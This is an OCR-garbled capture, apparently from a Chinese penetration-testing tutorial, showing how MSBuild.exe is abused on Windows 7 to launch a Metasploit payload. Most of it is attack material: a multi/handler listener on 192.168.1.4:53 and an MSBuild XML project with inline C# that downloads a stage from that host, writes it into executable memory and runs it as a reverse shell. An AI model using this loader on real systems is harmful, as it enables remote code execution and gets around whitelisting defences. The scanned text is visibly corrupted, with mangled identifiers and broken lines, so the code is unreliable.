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MSBuildi&7T :
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HEFHZ5EMSBuild.exeficEpayload :

Windows 7ZRNMYE S
CA\Windows\Microsoft. NET\Framework\v4.0.30319\msbuild.exe

IZEM - 192.168.1.4 Debian
#0810 192.168.1.3 Windows 7

FEHNIT -

I C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe Micropoor.xm

[4]C:\WindowsiMicrosoft. NET\Frameworkivd 0. 30319imsbui
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msf exploiti{multi/handler} = show options
Module options (exploit/multishandlerd:

Mame Current Setting Required Des

MName

EXITFUMC ¥ Exit technique (Accepted: '', seh. thread, proc
LHOST 5
LPORT 53 yes The listen port

Exploit target:

Id MName

0  Wildcard Target

msf exploiti{multi/handler} = exploit -f

[:1-:] Star
[+]
[:i-:]
8.1, 3:11370) at 2019-01-14 (09 -0300

fff5 : Micropoor.xml
i¥ : x86 payload

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/develo
per/msbuild/2003">

<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleT
asks.csproj Micropoor -->

<Target Name="iJEKHyTEjyCU">
<xUokfh />

</Target>

<UsingTask

TaskName="xUokfth"
TaskFactory="CodeTaskFactory"

AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsof
t.Build.Tasks.v4.0.d11" >

<Task>

<Code Type="Class" Language="cs">
<! [CDATA



14 using System; using System.Net; using System.Net.Sockets; using Syste
m.Ling; using System.Runtime.InteropServices; using System.Threading; us
ng Microsoft.Build.Framework; using Microsoft.Build.Utilities;

15 public class xUokfh : Task, ITask {

16  [Dl1lImport("kernel32")] private static extern UInt32 VirtualAlloc(UIr
t32 ogephG,UInt32 fZZrvQ, UInt32 nDfrBaiPvDyeP, UInt32 LWITkrW);

17 [D1l1lImport("kernel32")]private static extern IntPtr CreateThread(UInt:
2 qEVoJlxknom, UInt32 gZyJBIWYQsnXkWe, UInt32 jyIPELfKQYEVZM,IntPtr adztSl
HGJiurGO, UInt32 vjSCprCJ, ref UInt32 KbPukprMQXUp);

18 [DllImport("kernel32")] private static extern UInt32 WaitForSingleObje
ct(IntPtr wVCIQGMGjONiM, UInt32 DFgVrE);

19 static byte[] VYcZlUehuq(string IJBRrBghigjGAx, int XBUCexXIrGIEpe) {

20 IPEndPoint DRHsPzS = new IPEndPoint(IPAddress.Parse(IJBRrBghigjGAx),
XBUCexXIrGIEpe);

21 Socket zCoDOd = new Socket(AddressFamily.InterNetwork, SocketType.Str
eam, ProtocolType.Tcp);

22 try { zCoDOd.Connect(DRHsPzS); }

23 catch { return null;}

24 byte[ ] OCrGofbbWRVsFEl = new byte[4];

25 zCoDOd.Receive(OCrGofbbWRVSFEl, 4, 9);

26 int auQJTjyxYw = BitConverter.ToInt32(0CrGofbbWRVSFEl, 0);
27 byte[] MlhacMDOKUAfvMX = new byte[auQITjyxYw + 5];

28 int GFtbdD = ©;

29 while (GFtbdD < auQJTjyxYw)

30 { GFtbdD += zCoDOd.Receive(MlhacMDOKUAfvMX, GFtbdD + 5, (auQJTjyxYw -
GFtbdD) < 4096 ? (auQJTjyxYw - GFtbdD) : 4096, 0);}

31 byte[] YgBRpsmDUT = BitConverter.GetBytes((int)zCoDOd.Handle);

32 Array.Copy(YgBRpsmDUT, @, MlhacMDOKUAfvMX, 1, 4); MlhacMDOKUAfvMX|[@Q]
= OXBF;

33 return MlhacMDOKUAfvMX; }
34 static void NkogFHncrcX(byte[] qLAvbAtan) {
35 if (qLAvbAtan != null) {

36 UInt32 jrYMBRkOAnqTgx = VirtualAlloc(@, (UInt32)qLAvbAtan.Length, ©xI
000, 0x409);

37  Marshal.Copy(qLAvbAtan, @, (IntPtr)(jrYMBRKOANqTgx),
gLAvbAtan.Length);

38  IntPtr WCUZoviZi = IntPtr.Zero;
39 UInt32 JhtJOypMKo = 0;
40  IntPtr UxebOmhhPw = IntPtr.Zero;

41 WCUZoviZi = CreateThread(®, ©, jrYMBRKOAnqTgx, UxebOmhhPw, @, ref Jht
JOypMKo) ;

42 WaitForSingleObject(WCUZovizi, OxFFFFFFFF); }}
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public override bool Execute()

{
byte[ | uABVbNXmhr = null;

NkogFHncrcX(uABVbNXmhr) ;

return true; } }
11>

</Code>

</Task>
</UsingTask>

</Project>

UABVbNXmhr

VYcZ1lUehuq("192.168.1.4", 53);
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